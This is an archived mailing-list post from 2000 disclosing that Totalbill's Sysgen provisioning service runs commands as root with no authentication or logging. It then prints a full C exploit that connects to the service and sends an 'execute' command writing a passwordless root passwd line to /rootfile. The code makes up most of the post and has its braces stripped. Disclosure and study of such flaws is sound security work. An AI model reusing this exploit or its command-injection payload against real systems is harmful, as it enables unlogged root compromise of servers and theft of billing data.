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Subject: Exploit for Totalbill...
From: Brian Masney (masneybSEUL.ORG)
Date: Tue Aug 08 2000 - 18:13:53 CDT

   Totalbill is a complete billing and provisioning system for ISPs, and
it's written by Aptis Software (www.aptissoftware.com). There is one part
of it that sits on your mail and radius servers called Sysgen that listens
on a port (sometimes 9998, but it usually varies), and it allows the
incoming provisioning requests to be handled. Well, the problem is it
doesn't do any logging on the incoming connections, doesn't do ANY kind of
authentication, and it will let you run any program as root remotely
without it being logged. I notified Aptis about this problem back in
November 1999, and they haven't released an update yet. Obviously,
security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles
credit card transactions) is vulnerable to buffer overflows as well. I
would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your
machine, and no logging will have taken place.

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void)
  struct sockaddr_in servaddr;
  char *tempstr, buf[8192];
  struct hostent *host;
  int sockfd;

  if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      fprintf (stderr, "Error: Could not create a socket: %s\n",
               strerror (errno));
      return (1);
  memset (&servaddr, 0, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (TOTALBILL_PORT);

  if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
      fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
      return (1);

  memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
      fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
               strerror (errno));
      return (1);
  tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
  printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
  if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
      fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
      return (1);
  printf ("Sent...waiting for response...\n");
  if (read (sockfd, buf, sizeof (buf)) < 0)
      fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
      return (1);
  printf ("Received %s from server\n", buf);
  close (sockfd);
  return (0);